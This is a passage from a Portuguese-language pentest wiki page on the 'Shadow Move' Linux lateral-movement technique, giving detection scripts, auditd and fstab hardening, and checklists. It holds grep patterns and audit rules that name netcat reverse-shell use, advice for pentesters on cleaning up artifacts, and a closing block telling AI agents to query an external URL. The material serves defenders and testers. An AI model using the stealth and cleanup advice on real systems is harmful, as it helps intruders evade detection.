### **Script de Detecção**

```bash
#!/bin/bash
# detect_shadow_move.sh

echo "=== Shadow Move Detection ==="

# 1. Verificar processos suspeitos
echo -e "\n[1] Processos suspeitos:"
ps aux | grep -E "inotifywait|nc.*-e|bash.*-c.*nc" | grep -v grep

# 2. Verificar arquivos temporários
echo -e "\n[2] Arquivos temporários suspeitos:"
find /tmp -name ".*shadow*" -o -name "*.shadow*" 2>/dev/null
find /dev/shm -name "*.shadow*" 2>/dev/null

# 3. Verificar cron jobs
echo -e "\n[3] Cron jobs não documentados:"
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.d/ 2>/dev/null
crontab -l 2>/dev/null

# 4. Verificar serviços systemd transientes
echo -e "\n[4] Serviços systemd suspeitos:"
systemctl list-units --type=service --all | grep -E "shadow|tmp|run-"

# 5. Verificar conexões de rede suspeitas
echo -e "\n[5] Conexões de rede suspeitas:"
netstat -tunap 2>/dev/null | grep -E "ESTABLISHED|nc|bash"

# 6. Verificar inotify watches
echo -e "\n[6] Inotify watches ativos:"
for pid in $(pgrep -f inotify); do
    echo "PID $pid:"
    ls -la /proc/$pid/fd/ 2>/dev/null | grep inotify
done

# 7. Verificar signals configurados
echo -e "\n[7] Handlers de signal suspeitos:"
for pid in $(pgrep -f "bash|python"); do
    cat /proc/$pid/status 2>/dev/null | grep -E "SigCgt|SigIgn"
done
```

### **Ferramentas de Monitoramento**

```bash
# Monitoramento de inotify
inotifywait -m -r --format '%w%f' /tmp /dev/shm 2>/dev/null

# Monitoramento de processos
auditctl -a always,exit -F arch=b64 -S execve -k shadow_exec

# Monitoramento de cron
auditctl -w /etc/crontab -p wa -k shadow_cron
auditctl -w /etc/cron.d/ -p wa -k shadow_cron

# Monitoramento de systemd
auditctl -w /etc/systemd/system/ -p wa -k shadow_systemd
```

***

## 🛡️ **Mitigação e Prevenção**

### **Hardening do Sistema**

```bash
#!/bin/bash
# shadow_move_hardening.sh

echo "=== Hardening contra Shadow Move ==="

# 1. Restringir /tmp e /dev/shm
cat >> /etc/fstab << EOF
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0
EOF

# 2. Desabilitar serviços desnecessários
systemctl disable atd 2>/dev/null
systemctl mask atd 2>/dev/null

# 3. Restringir cron
chmod 600 /etc/crontab
chmod 600 /etc/cron.d/*
chmod 600 /var/spool/cron/crontabs/* 2>/dev/null

# 4. Configurar auditd
cat >> /etc/audit/rules.d/shadow.rules << EOF
# Monitorar execução de comandos suspeitos
-a always,exit -F arch=b64 -S execve -F path=/bin/nc -k shadow
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/nc -k shadow
-a always,exit -F arch=b64 -S execve -F path=/bin/bash -F uid!=0 -k shadow

# Monitorar criação de arquivos em /tmp
-w /tmp -p wa -k shadow_tmp
-w /dev/shm -p wa -k shadow_shm
EOF

auditctl -R /etc/audit/rules.d/shadow.rules

# 5. Configurar SELinux/AppArmor
setenforce 1  # SELinux
# ou
aa-enforce /usr/sbin/cron  # AppArmor

echo "[+] Hardening concluído"
```

### **Políticas de Segurança**

```yaml
Recomendações:
  - Implementar princípio do menor privilégio
  - Restringir execução de scripts em /tmp
  - Monitorar criação de serviços systemd transientes
  - Configurar alertas para novos cron jobs
  - Revisar regularmente processos em background
  - Implementar EDR com detecção comportamental
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] /tmp e /dev/shm com noexec
  * [ ] Serviços atd desabilitados
  * [ ] SELinux/AppArmor ativos
* [ ] **Monitoramento**
  * [ ] Auditd configurado
  * [ ] Alertas para novos cron jobs
  * [ ] Monitoramento de inotify
* [ ] **Hardening**
  * [ ] Restringir criação de serviços systemd
  * [ ] Limitar execução de scripts em diretórios temporários

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar mecanismos de execução disponíveis
  * [ ] Verificar permissões de escrita
* [ ] **Execução**
  * [ ] Testar file-based trigger
  * [ ] Testar cron jobs
  * [ ] Testar systemd services
* [ ] **Validação**
  * [ ] Verificar execução silenciosa
  * [ ] Documentar técnicas detectadas

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Shadow Move:
  ✅ Técnica furtiva de movimentação lateral
  ✅ Utiliza mecanismos legítimos do sistema
  ✅ Deixa poucos artefatos detectáveis
  ✅ Múltiplas variações disponíveis

Defesas essenciais:
  ❌ Monitorar criação de cron jobs
  ❌ Alertar sobre serviços systemd transientes
  ✓ Restringir execução em /tmp
  ✓ Implementar EDR comportamental
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Combinar múltiplas técnicas para redundância
   * Utilizar triggers baseados em eventos reais
   * Limpar artefatos após uso
   * Documentar vetores de movimento
2. **Para Blue Teams**
   * Monitorar criação de arquivos em /tmp
   * Configurar alertas para novos cron jobs
   * Implementar detecção de processos anômalos
   * Revisar serviços systemd regularmente


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/linux/shadow-move.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.